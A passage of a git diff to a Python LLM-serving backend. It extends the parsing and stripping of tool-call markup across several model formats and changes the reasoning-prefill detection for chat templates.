-    re.compile(r"<\|tool_call>.*$", re.DOTALL),
+# Bare open markers strip a partial call mid-stream; the rehearsal tail needs `{` or EOF
+# so prose ``foo[ARGS]`` survives. The XML open-tail forms reach EOF and are reused by
+# _tool_call_markup_spans (a think tag in an unclosed call's args stays argument data).
+_TOOL_OPEN_XML_TAIL_PATS = [
     re.compile(r"<tool_call>.*$", re.DOTALL),
+    re.compile(r"<\|tool_call>.*$", re.DOTALL),
     re.compile(r"<function=[\w-]+>.*$", re.DOTALL),
 ]
-# Stripped before the quote-aware Gemma helper so a Gemma opener quoted in
-# their argument data cannot make the helper truncate the block and its tail.
+_TOOL_ALL_PATS = (
+    _TOOL_CLOSED_PATS
+    + _TOOL_OPEN_XML_TAIL_PATS
+    + [
+        re.compile(r"\[TOOL_CALLS\].*$", re.DOTALL),
+        _REHEARSAL_TAIL_STRIP_RE,
+    ]
+)
+
+# Rehearsal strips (name in group 1); name-gated via ``enabled_tool_names``, strip-all when None.
+_REHEARSAL_STRIP_PATS = frozenset({_REHEARSAL_CLOSED_STRIP_RE, _REHEARSAL_TAIL_STRIP_RE})
+
+# Stripped before the quote-aware Gemma helper so a Gemma opener quoted in argument
+# data cannot make the helper truncate the block and its tail.
 _TOOL_CLOSED_BLOCK_PATS = [_TC_JSON_CLOSED_PAT, _TC_FUNC_CLOSED_PAT]
-# A lazy closed-pair pattern whose close token is absent rescans to EOF from
-# every opener (quadratic, re-run per streamed token); skip that doomed pass.
+# A lazy closed-pair pattern whose close token is absent would rescan to EOF from every
+# opener; skip that doomed (quadratic) pass. Shared by both strip helpers.
 _PAT_REQUIRED_TOKEN = {
     _TC_JSON_CLOSED_PAT: "</tool_call>",
     _TC_GEMMA_CLOSED_PAT: "<tool_call|>",
@@ -50,26 +103,102 @@ def strip_tool_patterns(text: str, patterns) -> str:
     return text
 
 
+def apply_tool_strip_patterns(
+    text: str,
+    patterns,
+    enabled_tool_names = None,
+) -> str:
+    """Apply strip ``patterns`` to ``text``. A bare rehearsal ``name[ARGS]{..}`` pattern
+    strips only when ``name`` is an enabled tool (or when ``enabled_tool_names`` is
+    ``None``); every other pattern is removed unconditionally. A closed-pair pattern whose
+    close token is absent is skipped so an unclosed-marker stream stays linear."""
+    for pat in patterns:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        if enabled_tool_names is not None and pat in _REHEARSAL_STRIP_PATS:
+            text = pat.sub(lambda m: "" if m.group(1) in enabled_tool_names else m.group(0), text)
+        else:
+            text = pat.sub("", text)
+    return text
+
+
 # Pre-compiled patterns for tool-call XML parsing.
 _TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
-# Name class allows dots/hyphens for dotted Gemma names; whitespace-tolerant around
-# ``call`` / ``:`` since drift emits ``call: name{`` and ``call : name{``.
 _TC_GEMMA_START_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w.\-]+)\s*\{")
 _TC_FUNC_START_RE = re.compile(r"<function=([\w-]+)>\s*")
 _TC_END_TAG_RE = re.compile(r"</tool_call>")
 _TC_GEMMA_END_TAG_RE = re.compile(r"<tool_call\|>")
 _TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
-# Horizontal whitespace only so the newline + value indentation survive (_trim_param_value trims one newline).
+# Horizontal-whitespace trailing class keeps the wrapping newline; _trim_param_value trims it.
 _TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>[^\S\n]*")
 _TC_PARAM_CLOSE_RE = re.compile(r"\s*</parameter>\s*$")
 _GEMMA_QUOTE = '<|"|>'
 _PARAM_CLOSE_TAG = "</parameter>"
 _FUNC_CLOSE_TAG = "</function>"
-# A bare (unquoted) Gemma value ends at `}` or at a comma beginning the next
-# identifier-shaped `key:` pair; a comma before a non-key (`New York, NY`,
-# `10:00, 11:00`) stays in the value. Dots let a dotted key end the value.
+# A bare (unquoted) Gemma value ends at `}` or at a comma that begins the next
+# `key:` pair. A comma NOT followed by a key token is part of the value (e.g.
+# `location:New York, NY`), so it must not terminate the value. The key token
+# must be identifier-shaped (start with a letter or underscore); a comma
+# followed by digits-then-colon is value text such as a timestamp or ratio
+# (`meet at 10:00, 11:00 tomorrow`), not a new key.
 _GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w.\-]*\s*:")
 
+# A candidate starting inside a think block is a rehearsal (block kept so literal tags in
+# real args survive); ``$`` accepts an unclosed block mid-stream.
+_THINK_TAG_RE = re.compile(r"<think>.*?(?:</think>|$)|\[THINK\].*?(?:\[/THINK\]|$)", re.DOTALL)
+# Bare open/close markers for prefilled-reasoning turns (template opens <think> in the prompt).
+_THINK_OPEN_RE = re.compile(r"<think>|\[THINK\]")
+_THINK_CLOSE_RE = re.compile(r"</think>|\[/THINK\]")
+
+# Mistral canonical array: [TOOL_CALLS] + JSON list of {"name","arguments"} objects.
+_MISTRAL_ARRAY_RE = re.compile(r"\[TOOL_CALLS\]\s*(?=\[)")
+
+# Mistral name form + v11 [ARGS]/[CALL_ID] shapes; [CALL_ID] is metadata, not the name,
+# and hyphens keep dashed MCP names whole.
+_MISTRAL_BRACKET_RE = re.compile(
+    r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)"
+)
+
+# Rehearsal ``name[ARGS]{json}`` (no [TOOL_CALLS]); the lookbehind keeps the v11 call-id
+# from being taken as the function name.
+_REHEARSAL_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?=\{)")
+
+# Above this size skip the balanced scan; the linear regex catch-all bounds pathological output.
+_MAX_BRACKET_SCAN_CHARS = 1_000_000
+
+
+def _balanced_json_span(text: str, start: int) -> int | None:
+    """Return the end index of a balanced JSON object opening at ``start``,
+    or ``None`` if the braces don't balance. Honors escapes and strings.
+    """
+    if start >= len(text) or text[start] != "{":
+        return None
+    depth = 0
+    in_string = False
+    escape = False
+    for j in range(start, len(text)):
+        ch = text[j]
+        if escape:
+            escape = False
+            continue
+        if ch == "\\":
+            escape = True
+            continue
+        if in_string:
+            if ch == '"':
+                in_string = False
+            continue
+        if ch == '"':
+            in_string = True
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return j
+    return None
+
 
 def _balanced_brace_end(
     content: str,
@@ -134,6 +263,94 @@ def _balanced_bracket_end(src: str, start: int) -> int:
     return -1
 
 
+def _decode_array_items(text: str, body_start: int, body_end: int):
+    """Return ``(objs, ends)`` for each top-level element of the JSON array between
+    ``body_start`` (at or before its ``[``) and ``body_end`` (exclusive): the decoded
+    object and its absolute exclusive end offset.
+
+    Decoding element-by-element with ``raw_decode`` tolerates the comma-less object
+    separators the repo's own Mistral/Ollama multi-call templates emit
+    (``[{...}{...}]``; see ollama_template_mappers.py). A single ``json.loads`` of the
+    whole body rejects that form and would drop every call. The ends also tile the
+    region across the calls' spans so a with_spans consumer strips each exactly once."""
+    decoder = json.JSONDecoder()
+    objs: list = []
+    ends: list[int] = []
+    i = text.find("[", body_start)
+    if i < 0:
+        return objs, ends
+    i += 1
+    while i < body_end:
+        while i < body_end and text[i] in " \t\r\n,":
+            i += 1
+        if i >= body_end or text[i] == "]":
+            break
+        try:
+            obj, rel = decoder.raw_decode(text[i:body_end])
+        except (json.JSONDecodeError, ValueError):
+            break
+        i += rel
+        objs.append(obj)
+        ends.append(i)
+    return objs, ends
+
+
+def _iter_bracket_spans(
+    text: str,
+    start: int = 0,
+    enabled_tool_names = None,
+):
+    """Yield ``(span_start, span_end, kind, match)`` for each balanced bracket-tag
+    call from ``start`` on, in document order; ``span_end`` exclusive. ``kind`` is
+    ``"array"`` ([TOOL_CALLS] [..]), ``"name"`` ([TOOL_CALLS]name{..}, incl. v11
+    [CALL_ID]/[ARGS]) or ``"rehearsal"`` (name[ARGS]{..}).
+
+    ``enabled_tool_names`` (set, or None = unrestricted) gates only the ambiguous
+    bare rehearsal form: name[ARGS]{..} is a call ONLY when ``name`` is enabled, so a
+    prose ``foo[ARGS]{..}`` (foo disabled) is neither parsed nor stripped. Explicit
+    [TOOL_CALLS] markers stay unconditional, keeping parse/strip/detection symmetric.
+
+    Balance-only (no JSON validation) so strip and parse share one scan. The cursor
+    jumps past each consumed span, so a marker inside consumed JSON is never
+    re-matched and each regex re-searches only once its match falls behind: linear."""
+    n = len(text)
+    specs = (
+        ("array", _MISTRAL_ARRAY_RE),
+        ("name", _MISTRAL_BRACKET_RE),
+        ("rehearsal", _REHEARSAL_RE),
+    )
+    nexts = {kind: rx.search(text, start) for kind, rx in specs}
+    cursor = start
+    while cursor < n:
+        for kind, rx in specs:
+            m = nexts[kind]
+            if m is not None and m.start() < cursor:
+                nexts[kind] = rx.search(text, cursor)
+        live = [(kind, m) for kind, m in nexts.items() if m is not None]
+        if not live:
+            return
+        kind, m = min(live, key = lambda km: km[1].start())
+        if kind == "array":
+            end = _balanced_bracket_end(text, m.end())
+            end = None if end < 0 else end
+        else:
+            end = _balanced_json_span(text, m.end())
+        if end is None:
+            # Truncated body: skip and keep scanning; the caller's catch-all strips the tail.
+            cursor = m.end()
+            continue
+        if (
+            kind == "rehearsal"
+            and enabled_tool_names is not None
+            and m.group(1) not in enabled_tool_names
+        ):
+            # Inactive-name rehearsal is prose: advance past its body without yielding.
+            cursor = end + 1
+            continue
+        yield (m.start(), end + 1, kind, m)
+        cursor = end + 1
+
+
 def _split_top_level_commas(src: str) -> list:
     """Split on commas that are not inside a nested ``[]``/``{}`` or a string."""
     parts: list[str] = []
@@ -164,8 +381,14 @@ def _split_top_level_commas(src: str) -> list:
 
 
 def _quote_gemma_array_elements(body: str) -> str:
-    """Normalise a Gemma array value (``labels:[bug,ui]``) so json.loads succeeds:
-    quote bare strings, recurse into objects/arrays, keep quoted/JSON literals."""
+    """Normalise the elements of a Gemma array value so json.loads succeeds.
+
+    Gemma may emit ``labels:[bug,ui]`` without per-element quotes, or arrays of
+    objects (``items:[{path:a}]``) whose keys/values also lack quotes; left
+    as-is json.loads fails and the whole call is dropped. Bare string elements
+    are quoted, object and nested-array elements are normalised recursively, and
+    quoted strings (already normalised from ``<|"|>``), numbers, and JSON
+    literals are preserved."""
     out: list[str] = []
     for element in _split_top_level_commas(body):
         stripped = element.strip()
@@ -173,9 +396,11 @@ def _quote_gemma_array_elements(body: str) -> str:
             out.append(element)
             continue
         if stripped[0] == "{":
+            # Object element: quote its keys/bare values like a top-level object.
             out.append(_quote_gemma_object_keys(stripped))
             continue
         if stripped[0] == "[":
+            # Nested array: normalise its elements too.
             inner_end = _balanced_bracket_end(stripped, 0)
             if inner_end == len(stripped) - 1:
                 out.append("[" + _quote_gemma_array_elements(stripped[1:inner_end]) + "]")
@@ -240,8 +465,6 @@ def _quote_gemma_object_keys(src: str) -> str:
         while i < len(src) and src[i].isspace():
             i += 1
         key_name_start = i
-        # Dots match the parser's key/name charset: Gemma emits dotted argument keys
-        # (user.name:...) for namespaced schemas.
         while i < len(src) and (src[i].isalnum() or src[i] in "_-."):
             i += 1
         key_name = src[key_name_start:i]
@@ -254,12 +477,15 @@ def _quote_gemma_object_keys(src: str) -> str:
             parts.append(src[i:colon_pos])
             parts.append(":")
             i = colon_pos + 1
-            # Quote bare string values ({unit:celsius}); JSON stays as-is.
+            # Gemma may emit bare string values ({unit:celsius}); quote them so
+            # json.loads succeeds. JSON scalars/objects/arrays/quoted stay as-is.
             ws = i
             while i < len(src) and src[i].isspace():
                 i += 1
             parts.append(src[ws:i])
             if i < len(src) and src[i] == "[":
+                # Array value: quote bare string elements (e.g. labels:[bug,ui])
+                # so json.loads succeeds instead of dropping the call.
                 arr_end = _balanced_bracket_end(src, i)
                 if arr_end < 0:
                     parts.append(src[i:])
@@ -269,7 +495,9 @@ def _quote_gemma_object_keys(src: str) -> str:
                     i = arr_end + 1
             elif i < len(src) and src[i] not in '"{':
                 v_start = i
-                # Bare value: up to `}` or a comma that starts the next key:pair.
+                # Consume the bare value up to `}` or a comma that starts the
+                # next key:value pair; a comma inside the value (e.g.
+                # `New York, NY`) does not terminate it.
                 while i < len(src):
                     if src[i] == "}":
                         break
@@ -329,7 +557,9 @@ def _func_close_index(content: str, body_start: int, body: str) -> int:
 
 
 def _trim_param_value(val: str) -> str:
-    """Trim only the wrapping newline (not str.strip) so code/diff argument indentation survives."""
+    """Trim the single wrapping newline the chat template adds around an XML
+    parameter value, preserving indentation inside VALUE (``str.strip()`` destroyed
+    code/diff argument indentation)."""
     if val.startswith("\n"):
         val = val[1:]
     if val.endswith("\n"):
@@ -404,6 +634,7 @@ def parse_tool_calls_from_text(
     *,
     id_offset: int = 0,
     allow_incomplete: bool = True,
+    enabled_tool_names = None,
     with_spans: bool = False,
 ):
     """Parse OpenAI-format tool calls from model text.
@@ -412,22 +643,36 @@ def parse_tool_calls_from_text(
       <tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>
       <|tool_call>call:web_search{query:"..."}<tool_call|>
       <tool_call><function=web_search><parameter=query>...</parameter></function></tool_call>
+      [TOOL_CALLS]web_search{"query":"..."}        (Mistral / Devstral fallback)
+      web_search[ARGS]{"query":"..."}             (reasoning-model rehearsal)
+
+    A call rehearsed inside a ``<think>`` / ``[THINK]`` block is skipped, not
+    executed; the block is kept so a literal tag in a real argument is preserved.
 
     With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]``
     is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup
     in ``content`` (including its close tag when present), so a caller can
     remove exactly the parsed markup and keep every other byte intact.
     """
+    # Candidates starting inside a think block are rehearsals, skipped; blocks are kept, and a
+    # think marker opening inside a call is argument data (excluded from spans).
+    _think_spans = _think_spans_outside_tool_markup(content)
+    _think_starts = [s for s, _e in _think_spans]
+
+    def _in_think(pos: int) -> bool:
+        # Spans are ordered and non-overlapping; bisect gives O(log M) per candidate.
+        i = bisect.bisect_right(_think_starts, pos) - 1
+        return i >= 0 and _think_spans[i][0] <= pos < _think_spans[i][1]
+
     tool_calls: list[dict] = []
     call_spans: list[tuple] = []
-    # Collect JSON/Gemma markers; _marker_coverage decides nesting. A marker inside
-    # another call's coverage, or an open <parameter=> value, is data not executed.
-    markers = _build_markers(content)
-    coverage = _marker_coverage(content, markers)
+    # Collect JSON/Gemma markers; _marker_coverage decides nesting so a marker inside
+    # another call's coverage (even one that failed to parse) is data, not executed. A
+    # marker opening inside a think block is a rehearsal and is skipped.
     parsed_items = []  # (start, span_end, name, arguments) in document order
+    markers = [mk for mk in _build_markers(content) if not _in_think(mk[0])]
+    coverage = _marker_coverage(content, markers)
     for idx, (start, brace_end, kind, m) in enumerate(markers):
-        # A marker starting inside another's coverage is that call's data. The
-        # end is exclusive so a marker at a close's end is an adjacent sibling.
         if any(s <= start < e for j, (s, e) in enumerate(coverage) if j != idx):
             continue
         if brace_end < 0:
@@ -441,7 +686,7 @@ def parse_tool_calls_from_text(
             if kind == "json":
                 obj = json.loads(content[m.end() - 1 : brace_end + 1])
                 name = obj.get("name", "")
-                # Accept ``parameters`` alias for ``arguments`` (Llama-3.2 drift inside a Hermes <tool_call>).
+                # Accept ``parameters`` alias for ``arguments`` (Llama-3.2 drift inside Hermes).
                 arguments = obj.get("arguments")
                 if arguments is None:
                     arguments = obj.get("parameters", {})
@@ -452,7 +697,6 @@ def parse_tool_calls_from_text(
                 arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : brace_end]))
         except (json.JSONDecodeError, ValueError):
             continue
-        # Span reaches through the close tag when present, else just the braces.
         span_end = brace_end + 1
         close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
         ws = len(content[span_end:]) - len(content[span_end:].lstrip())
@@ -461,14 +705,11 @@ def parse_tool_calls_from_text(
             span_end = close_m.end()
         parsed_items.append((start, span_end, name, arguments))
 
-    # Function-XML calls promote in document order alongside marker calls (the
-    # #6801 contract). A <function=> inside any marker's coverage is excluded --
-    # even if that marker failed to parse -- so nested XML cannot escape; one
-    # after a balanced close-less marker is a sibling, not swallowed to EOF.
     func_starts = [
         fm
         for fm in _TC_FUNC_START_RE.finditer(content)
         if not _inside_open_parameter(content, fm.start())
+        and not _in_think(fm.start())
         and not any(s <= fm.start() < e for s, e in coverage)
     ]
     for idx, fm in enumerate(func_starts):
@@ -545,11 +786,170 @@ def parse_tool_calls_from_text(
         )
         call_spans.append((start, span_end))
 
+    # Patterns 3+4: Mistral [TOOL_CALLS] and bare rehearsal via one balanced scan in document
+    # order, so a Mistral call and a rehearsal in one message both parse.
+    if not tool_calls:
+        for start, end, kind, m in _iter_bracket_spans(
+            content, enabled_tool_names = enabled_tool_names
+        ):
+            if _in_think(start):
+                continue
+            # Extend the region over an immediately-following v11 closer so with_spans consumers strip it too.
+            closer = re.match(r"\s*\[/TOOL_CALLS\]", content[end:])
+            region_end = end + closer.end() if closer else end
+            if kind == "array":
+                # Decode elements individually (comma-tolerant): one json.loads of the whole
+                # body rejects the comma-less multi-call arrays Mistral/Ollama templates emit.
+                payload, item_ends = _decode_array_items(content, m.end(), end)
+                if not payload:
+                    continue
+                # Tile the region so every byte belongs to exactly one span; a with_spans consumer
+                # keeps skipped bytes visible and strips promoted markup exactly once.
+                tile_start = start
+                last_span_idx = -1
+                for item_idx, item in enumerate(payload):
+                    if not isinstance(item, dict) or "name" not in item:
+                        continue
+                    args = item.get("arguments", {})
+                    if isinstance(args, str):
+                        # ``arguments`` may itself be a JSON string (OpenAI spec).
+                        try:
+                            args = json.loads(args)
+                        except (json.JSONDecodeError, ValueError):
+                            pass
+                    if not isinstance(args, (dict, str)):
+                        # ``"arguments": null`` (or any non-object scalar) becomes {} like the
+                        # <tool_call> path, not the string "null" auto-heal would mangle to
+                        # a bogus {"query":"null"}.
+                        args = {}
+                    tool_calls.append(
+                        {
+                            "id": f"call_{id_offset + len(tool_calls)}",
+                            "type": "function",
+                            "function": {
+                                "name": item.get("name", ""),
+                                # A bare scalar string stays raw (like the <tool_call> path);
+                                # json.dumps would double-encode it so the arg healer wraps
+                                # "weather" with its literal quotes.
+                                "arguments": args if isinstance(args, str) else json.dumps(args),
+                            },
+                        }
+                    )
+                    item_end = item_ends[item_idx] if item_idx < len(item_ends) else region_end
+                    last_span_idx = len(call_spans)
+                    call_spans.append((tile_start, item_end))
+                    tile_start = item_end
+                if last_span_idx >= 0:
+                    tile_start, _tile_end = call_spans[last_span_idx]
+                    call_spans[last_span_idx] = (tile_start, region_end)
+            else:
+                try:
+                    payload = json.loads(content[m.end() : end])
+                except (json.JSONDecodeError, ValueError):
+                    continue
+                if not isinstance(payload, dict):
+                    continue
+                tool_calls.append(
+                    {
+                        "id": f"call_{id_offset + len(tool_calls)}",
+                        "type": "function",
+                        "function": {
+                            "name": m.group(1),
+                            "arguments": json.dumps(payload),
+                        },
+                    }
+                )
+                call_spans.append((start, region_end))
+
     if with_spans:
         return tool_calls, call_spans
     return tool_calls
 
 
+def _strip_bracket_tag_calls(text: str, enabled_tool_names = None) -> str:
+    """Strip complete [TOOL_CALLS] arrays / name / bare name[ARGS]{..} calls with one
+    balanced forward scan, so nested JSON args are removed whole (a fixed-depth regex
+    left two-level args behind). Truncated tails go to the caller's catch-all. Linear.
+    ``enabled_tool_names`` gates the rehearsal form (inactive-name prose kept; None
+    strips every span)."""
+    if len(text) > _MAX_BRACKET_SCAN_CHARS:
+        return text
+    out: list[str] = []
+    cursor = 0
+    for start, end, _kind, _m in _iter_bracket_spans(text, enabled_tool_names = enabled_tool_names):
+        out.append(text[cursor:start])
+        cursor = end
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def _tool_call_markup_spans(text: str) -> list[tuple[int, int]]:
+    """Spans of tool-call markup, so a literal <think>/[THINK] inside a call's args is
+    stripped WITH the call, not kept as a reasoning block. Covers closed XML/bracket
+    calls and an unclosed XML call (run via allow_incomplete); without the open-ended
+    span the unclosed call's markup would leak after execution."""
+    # Skip a lazy closed-pair pattern whose close token is absent: its finditer would rescan
+    # to EOF from every opener (quadratic on a stream of unclosed openers).
+    spans = [
+        m.span()
+        for pat in _TOOL_CLOSED_PATS
+        if (_PAT_REQUIRED_TOKEN.get(pat) is None or _PAT_REQUIRED_TOKEN[pat] in text)
+        for m in pat.finditer(text)
+    ]
+    spans.extend((start, end) for start, end, _kind, _m in _iter_bracket_spans(text))
+    # An unclosed opener is a real incomplete call only outside closed/bracket spans.
+    for pat in _TOOL_OPEN_XML_TAIL_PATS:
+        for m in pat.finditer(text):
+            if not any(s <= m.start() < e for s, e in spans):
+                spans.append(m.span())
+    return spans
+
+
+def _think_spans_outside_tool_markup(text: str) -> list[tuple[int, int]]:
+    """<think>/[THINK] block spans, minus any whose opening marker sits INSIDE a
+    tool-call span (that tag is argument data, not reasoning). Keeping it would drop a
+    real call after it as rehearsed and leak the call's markup. START tested only, so
+    a greedy unclosed <think> past the call is still that call's argument data."""
+    think_spans = [m.span() for m in _THINK_TAG_RE.finditer(text)]
+    call_spans = _tool_call_markup_spans(text)
+    # Prefilled reasoning: the template opens <think> in the prompt, so add a leading span
+    # (0..close) to skip calls rehearsed there; guarded so a stray close in a normal answer is safe.
+    close = _THINK_CLOSE_RE.search(text)
+    if close is not None:
+        opener = _THINK_OPEN_RE.search(text)
+        if (
+            (opener is None or close.start() < opener.start())
+            and not any(cs <= close.start() < ce for cs, ce in call_spans)
+            and any(cs >= close.end() for cs, ce in call_spans)
+        ):
+            think_spans = [(0, close.end())] + think_spans
+    if not think_spans:
+        return think_spans
+    if not call_spans:
+        return think_spans
+    return [(s, e) for (s, e) in think_spans if not any(cs <= s < ce for cs, ce in call_spans)]
+
+
+def strip_outside_think(text: str, strip_segment) -> str:
+    """Apply ``strip_segment(segment, is_last)`` to visible text around <think>/[THINK]
+    blocks, preserving the blocks verbatim (tool-looking text inside is rehearsal).
+    ``is_last`` is True only after the final block, so trailing-tail patterns apply
+    only there. Shared by every strip path so they stay consistent."""
+    # A think marker opening inside a complete call is argument text; excluding it lets the
+    # stripper see the whole call. START-tested, so an unclosed match stays argument data.
+    think_spans = _think_spans_outside_tool_markup(text)
+    if not think_spans:
+        return strip_segment(text, True)
+    pieces: list[str] = []
+    prev = 0
+    for s, e in think_spans:
+        pieces.append(strip_segment(text[prev:s], False))
+        pieces.append(text[s:e])
+        prev = e
+    pieces.append(strip_segment(text[prev:], True))
+    return "".join(pieces)
+
+
 def _strip_gemma_native_spans(text: str, *, final: bool) -> str:
     """Remove complete Gemma-native spans, brace/quote-balanced so a literal
     ``<tool_call|>`` in a quoted argument cannot truncate the span. An incomplete
@@ -635,26 +1035,43 @@ def _strip_closed_blocks_outside_gemma(text: str) -> str:
     return text
 
 
-def strip_tool_markup_final(text: str) -> str:
-    """Final display strip, shared with the streaming wrappers so all paths order
-    the passes identically: Gemma-aware closed JSON/function blocks first, then
-    well-formed Gemma spans (quote-aware), then the regex sweeps mop up malformed
-    spans and drop any unclosed remainder to EOF. Whitespace is kept."""
+def _strip_markup_segment(
+    text: str,
+    *,
+    final: bool,
+    enabled_tool_names = None,
+) -> str:
+    # Bracket-tag calls (Mistral/rehearsal) first via balanced scan (any nesting depth,
+    # rehearsal name-gated); then the quote-aware Gemma-native passes so a literal
+    # <tool_call|> in an argument cannot truncate a block; finally the regex XML/tail sweeps.
+    text = _strip_bracket_tag_calls(text, enabled_tool_names = enabled_tool_names)
     text = _strip_closed_blocks_outside_gemma(text)
-    text = _strip_gemma_native_spans(text, final = True)
-    return strip_tool_patterns(text, _TOOL_ALL_PATS)
+    text = _strip_gemma_native_spans(text, final = final)
+    patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
+    return apply_tool_strip_patterns(text, patterns, enabled_tool_names = enabled_tool_names)
 
 
-def strip_tool_call_markup(text: str, *, final: bool = False) -> str:
+def strip_tool_call_markup(
+    text: str,
+    *,
+    final: bool = False,
+    enabled_tool_names = None,
+) -> str:
     """Strip tool-call XML markup from text.
 
     When ``final`` is False, only fully closed tool-call blocks are removed.
     When ``final`` is True, trailing incomplete tool-call blocks are removed
     too, and the result is stripped of surrounding whitespace.
+
+    ``<think>`` / ``[THINK]`` reasoning is preserved verbatim (see
+    ``strip_outside_think``); the trailing-tail patterns apply only after the
+    last block. ``enabled_tool_names`` keeps an inactive-name ``foo[ARGS]{..}``
+    example visible (it is prose, not a call) so display cleanup matches detection.
     """
-    if final:
-        return strip_tool_markup_final(text).strip()
-    # Non-final: same ordering as the final path, but incomplete blocks are kept.
-    text = _strip_closed_blocks_outside_gemma(text)
-    text = _strip_gemma_native_spans(text, final = False)
-    return strip_tool_patterns(text, _TOOL_CLOSED_PATS)
+    result = strip_outside_think(
+        text,
+        lambda seg, is_last: _strip_markup_segment(
+            seg, final = final and is_last, enabled_tool_names = enabled_tool_names
+        ),
+    )
+    return result.strip() if final else result
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 3341a9c628..1042dda004 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -1366,17 +1366,60 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
     return flags
 
 
+def _generation_prompt_opens_think(template: Optional[str]) -> bool:
+    """True when rendering the template's generation prompt ends INSIDE an unclosed ``<think>``.
+
+    Distinguishes templates that PREFILL an open ``<think>`` in the assistant generation
+    prompt (DeepSeek-R1, QwQ, Qwen3-Thinking) -- where the model emits only the closing
+    ``</think>`` and the extractor must start in reasoning mode -- from templates that merely
+    render PAST assistant ``<think>...</think>`` history while leaving the generation prompt
+    open with no ``<think>`` (e.g. Kimi-K2-Thinking), where the model self-emits its own block
+    and the extractor must start in normal mode. Renders a single-user-message probe with the
+    same sandbox transformers uses; on any failure returns True, preserving the historical
+    always-on prefill for templates that cannot be rendered here.
+    """
+    if not template:
+        return False
+    try:
+        from jinja2.sandbox import ImmutableSandboxedEnvironment
+
+        def _raise_exception(message: str):
+            raise RuntimeError(message)
+
+        env = ImmutableSandboxedEnvironment(
+            trim_blocks = True,
+            lstrip_blocks = True,
+            extensions = ["jinja2.ext.loopcontrols"],
+        )
+        env.filters["tojson"] = lambda value, **kwargs: json.dumps(value, ensure_ascii = False)
+        env.globals["raise_exception"] = _raise_exception
+        rendered = env.from_string(template).render(
+            messages = [{"role": "user", "content": "hi"}],
+            add_generation_prompt = True,
+            bos_token = "",
+            eos_token = "",
+        )
+    except Exception:
+        return True
+    # ``<think>`` is not a substring of ``</think>`` (the ``/`` breaks it), so the last open
+    # tag sitting after the last close tag means the prompt ends inside an open block.
+    return rendered.rfind("<think>") > rendered.rfind("</think>")
+
+
 def _sf_reasoning_prefill_mode(
     features: dict,
     enable_thinking: Optional[bool],
     template: Optional[str] = None,
     reasoning_effort: Optional[str] = None,
 ) -> bool:
-    """Whether this request begins INSIDE an unclosed ``<think>`` (Qwen3/Qwen3.5/GLM prefill it).
+    """Whether a safetensors/MLX generation begins INSIDE an unclosed ``<think>``.
 
-    Gated on the STANDARD ``<think>``/``</think>`` markers: a bespoke reasoning channel (e.g. gemma)
-    never emits ``</think>``, so prefilled mode would swallow the whole answer -- excluded, as are
-    gpt-oss and thinking-disabled requests. ``enable_thinking=None`` defaults ON, so plain requests prefill.
+    ``enable_thinking`` templates (Qwen3/GLM) prefill an open ``<think>`` so the model
+    emits only the closing ``</think>``, and the extractor must start in reasoning mode.
+    Gated on the STANDARD ``<think>``/``</think>`` markers: bespoke channels (gemma's
+    ``<|think|>``) never emit ``</think>`` and would swallow the answer, so they and
+    gpt-oss and thinking-disabled requests return False. ``enable_thinking`` None
+    defaults thinking ON, so a plain request still prefills.
     """
     if features.get("reasoning_style") not in ("enable_thinking", "enable_thinking_effort"):
         return False
@@ -1384,16 +1427,21 @@ def _sf_reasoning_prefill_mode(
     if "</think>" not in tpl and "<think>" not in tpl:
         return False
     if features.get("reasoning_always_on"):
-        return True
+        # enable_thinking_effort + always-on: the effort mechanism (not the prompt shape) keeps
+        # thinking on, so always-on wins over reasoning_effort and we prefill.
+        if features.get("reasoning_style") == "enable_thinking_effort":
+            return True
+        # ``reasoning_always_on`` fires on paired ``<think>...</think>`` anywhere in the
+        # template, including markup that only renders PAST assistant history (Kimi-K2-Thinking)
+        # while the generation prompt opens none. Prefill only when the generation prompt opens
+        # one, else the extractor captures a normal answer as reasoning_content and returns blank.
+        return _generation_prompt_opens_think(tpl)
     if not features.get("supports_reasoning"):
         return False
     if enable_thinking is False:
         return False
-    # A reasoning_effort="none" request disables thinking for enable_thinking_effort
-    # (GLM-5.2) models the same way enable_thinking=False does (see
-    # ``_request_reasoning_kwargs``). Without this, the model emits no ``</think>`` and
-    # a plain answer is swallowed whole into reasoning_content, leaving the visible
-    # response empty.
+    # Thinking-off arrives as reasoning_effort "none" on enable_thinking_effort models; honor it
+    # so we don't prefill and capture the answer. Plain enable_thinking models ignore effort.
     if features.get("reasoning_style") == "enable_thinking_effort" and reasoning_effort == "none":
         return False
     return True
@@ -1669,11 +1717,17 @@ def _apply_rag_nudge(nudge: str, tools: list[dict], *, rag_scope) -> str:
     return nudge + " " + _RAG_GROUNDING_NUDGE
 
 
-# Strip leaked tool-call markup: every shared-parser format plus the four leak
-# shapes llama_cpp.py's speculative buffer splits across the visible/DRAIN
-# boundary. Mistral [TOOL_CALLS] uses the parser's balanced-brace helper (a
-# non-greedy regex would truncate nested JSON); the DeepSeek opener alternation
-# is the parser's own, so a signal we parse is never left un-stripped.
+# Strip leaked tool-call markup: every shared-parser format plus the leak shapes
+# llama_cpp.py's speculative buffer splits across the visible/DRAIN boundary:
+#   1. well-formed `<tool_call>...</tool_call>` / `<function=...>...</function>`
+#   2. orphan opening to EOF (close was DRAINED)
